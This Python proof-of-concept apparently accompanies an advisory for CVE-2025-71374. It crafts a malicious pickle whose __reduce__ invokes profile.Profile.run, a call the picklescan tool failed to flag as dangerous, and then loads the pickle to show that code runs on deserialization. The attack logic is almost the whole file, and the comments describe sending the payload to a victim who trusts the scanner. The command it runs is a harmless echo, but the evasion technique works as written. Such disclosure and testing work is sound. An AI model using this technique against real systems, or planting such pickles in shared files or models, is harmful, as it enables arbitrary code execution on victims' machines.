Vulnerable code sample

import pickle
import profile
import os
import io

# This code represents the creation of a malicious pickle file that
# exploits the described vulnerability. The vulnerability itself is in the
# picklescan tool, which would incorrectly fail to flag this pickle as dangerous.

class Exploit:
    def __reduce__(self):
        # The command to be executed on the target system.
        # This command will be run by profile.Profile.run.
        command = "import os; os.system('echo Vulnerability CVE-2025-71374 Triggered')"

        # The core of the exploit.
        # Before the fix, picklescan would not recognize 'profile.Profile.run'
        # as a dangerous function to call during unpickling.
        # __reduce__ returns a tuple: (callable, (arguments...))
        # When unpickled, this will execute:
        #   profile.Profile().run(command)
        return (profile.Profile.run, (profile.Profile(), command))

def create_malicious_pickle():
    """Creates a pickle file that exploits the vulnerability."""
    payload = Exploit()
    # Serialize the malicious object into a byte stream.
    return pickle.dumps(payload)

def demonstrate_vulnerability(malicious_data):
    """
    Simulates a system deserializing the pickle data.
    A vulnerable version of picklescan would have already scanned
    'malicious_data' and incorrectly reported it as safe.
    """
    print("Attempting to load the pickle data (simulating a vulnerable environment)...")
    # This is the dangerous operation that triggers the code execution.
    try:
        pickle.loads(malicious_data)
    except Exception as e:
        print(f"An error occurred during deserialization: {e}")
    print("...loading complete.")


if __name__ == "__main__":
    print("Step 1: Creating a malicious pickle payload.")
    malicious_pickle_data = create_malicious_pickle()
    print(f"Payload created. Size: {len(malicious_pickle_data)} bytes.\n")

    # In a real attack, this data would be sent to a victim.
    # The victim's application, trusting its (vulnerable) picklescan,
    # would proceed to load it.

    print("Step 2: Demonstrating the exploit by loading the payload.")
    demonstrate_vulnerability(malicious_pickle_data)